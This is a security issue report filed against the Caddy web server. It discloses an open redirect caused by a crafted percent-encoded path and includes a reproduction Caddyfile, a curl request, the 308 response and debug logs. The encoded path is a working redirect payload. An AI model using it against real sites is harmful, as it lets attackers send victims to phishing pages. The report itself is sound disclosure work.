#8023·caddy

Open redirect on carefully crafted paths

Author: wdullaerCreated Sep 15, 2026Updated Sep 15, 2026
Labelsbug :lady_beetle:

Issue Details

Summary

Caddy will return a 308 to any website when given URLs of the shape: https://example.org/public/..%2F%5cgithub.com%2F%3f%2F..%2F.. This one will land you on github.com.

Details

I managed to find similar issues in the past: https://caddy.community/t/does-caddy-do-a-308-redirect-somehow/15035 They were resolved by improving the MatchPath sanitizing: https://github.com/caddyserver/caddy/pull/4499

I am assuming the current rules there don't correctly catch the URL pattern above. I did not try to further minimize the path, to see which specific pieces are necessary to trigger the behaviour.

The open redirect was reported against our website. I verified the issue and pinned it down to Caddy behaviour. I did minimize the Caddyfile necessary to trigger the behaviour. I did not use any LLM for any part of this.

PoC

  1. Create a barebones Caddyfile: both root and file_server directive are necessary
# Global options not needed, but enabling debug was requested for the report
{
	admin off
	debug
}
:{$PORT} {
	# Enabling access logs to make it easier to visualize (not necessary)
	log
	# Set this path to your site's directory.
	root * /usr/share/caddy
	# Enable the static file server.
	file_server
}
  1. Start the caddy-server
/srv # caddy version
v2.11.4 h1:XKxkMTgNSizEvKG6QHue6cAsFOteU2qA61w2tKkCWi0=
/src # caddy run --config /etc/caddy/Caddyfile
/srv # caddy run --config /etc/caddy/Caddyfile
2026/09/11 16:32:59.617 INFO    maxprocs: Leaving GOMAXPROCS=10: CPU quota undefined
2026/09/11 16:32:59.617 INFO    GOMEMLIMIT is updated   {"GOMEMLIMIT": 7393366425, "previous": 9223372036854775807}
2026/09/11 16:32:59.617 INFO    using config from file  {"file": "/etc/caddy/Caddyfile"}
2026/09/11 16:32:59.617 INFO    adapted config to JSON  {"adapter": "caddyfile"}
2026/09/11 16:32:59.617 WARN    admin   admin endpoint disabled
2026/09/11 16:32:59.618 WARN    http.auto_https server is listening only on the HTTP port, so no automatic HTTPS will be applied to this server {"server_name": "srv0", "http_port": 80}
2026/09/11 16:32:59.618 DEBUG   http.auto_https all servers have automatic HTTPS disabled and no domains need certificates, skipping TLS automation setup
2026/09/11 16:32:59.618 INFO    tls.cache.maintenance   started background certificate maintenance      {"cache": "0x6cfdb980d480"}
2026/09/11 16:32:59.623 DEBUG   http    starting server loop    {"address": "[::]:80", "tls": false, "http3": false}
2026/09/11 16:32:59.623 WARN    http    HTTP/2 skipped because it requires TLS  {"network": "tcp", "addr": ":80"}
2026/09/11 16:32:59.623 WARN    http    HTTP/3 skipped because it requires TLS  {"network": "tcp", "addr": ":80"}
2026/09/11 16:32:59.623 INFO    http.log        server running  {"name": "srv0", "protocols": ["h1", "h2", "h3"]}
2026/09/11 16:32:59.624 DEBUG   events  event   {"name": "started", "id": "7739a42f-64be-45d0-a8bb-02410aad61b9", "origin": "", "data": null}
2026/09/11 16:32:59.624 INFO    autosaved config (load with --resume flag)      {"file": "/config/caddy/autosave.json"}
2026/09/11 16:32:59.624 INFO    serving initial configuration
2026/09/11 16:32:59.626 INFO    tls     cleaning storage unit   {"storage": "FileStorage:/data/caddy"}
2026/09/11 16:32:59.627 INFO    tls     finished cleaning storage units
  1. Request the malicious URL
➜ curl http://localhost:12345/public/..%2F%5cgithub.com%2F%3f%2F..%2F.. -v
* Host localhost:12345 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:12345...
* Connected to localhost (::1) port 12345
> GET /public/..%2F%5cgithub.com%2F%3f%2F..%2F.. HTTP/1.1
> Host: localhost:12345
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 308 Permanent Redirect
< Content-Type: text/html; charset=utf-8
< Location: /\github.com/?/../../
< Server: Caddy
< Date: Fri, 11 Sep 2026 16:35:25 GMT
< Content-Length: 57
<
<a href="/\github.com/?/../../">Permanent Redirect</a>.

* Connection #0 to host localhost left intact

Caddy logs:

2026/09/11 16:35:25.339 DEBUG   http.handlers.file_server       sanitized path join     {"site_root": "/usr/share/caddy", "fs": "", "request_path": "/public/../\\github.com/?/../..", "result": "/usr/share/caddy"}
2026/09/11 16:35:25.340 DEBUG   http.handlers.file_server       located index file      {"filename": "/usr/share/caddy/index.html"}
2026/09/11 16:35:25.340 DEBUG   http.handlers.file_server       redirecting to canonical URI (adding trailing slash for directory       {"from_path": "/public/../\\github.com/?/../..", "to_path": "/public/../\\github.com/?/../../"}
2026/09/11 16:35:25.340 INFO    http.log.access handled request {"request": {"remote_ip": "192.168.65.1", "remote_port": "47648", "client_ip": "192.168.65.1", "proto": "HTTP/1.1", "method": "GET", "host": "localhost:12345", "uri": "/public/..%2F%5cgithub.com%2F%3f%2F..%2F..", "headers": {"User-Agent": ["curl/8.7.1"], "Accept": ["*/*"]}}, "bytes_read": 0, "user_id": "", "duration": 0.002561, "size": 57, "status": 308, "resp_headers": {"Content-Type": ["text/html; charset=utf-8"], "Server": ["Caddy"], "Location": ["/\\github.com/?/../../"]}}

In a browser, this lands you on github.com.

Impact

This type of open redirect is extremely useful in phishing campaigns, since most of the URL will actually be the domain being impersonated.

Assistance Disclosure

No response

If AI was used, describe the extent to which it was used.

No response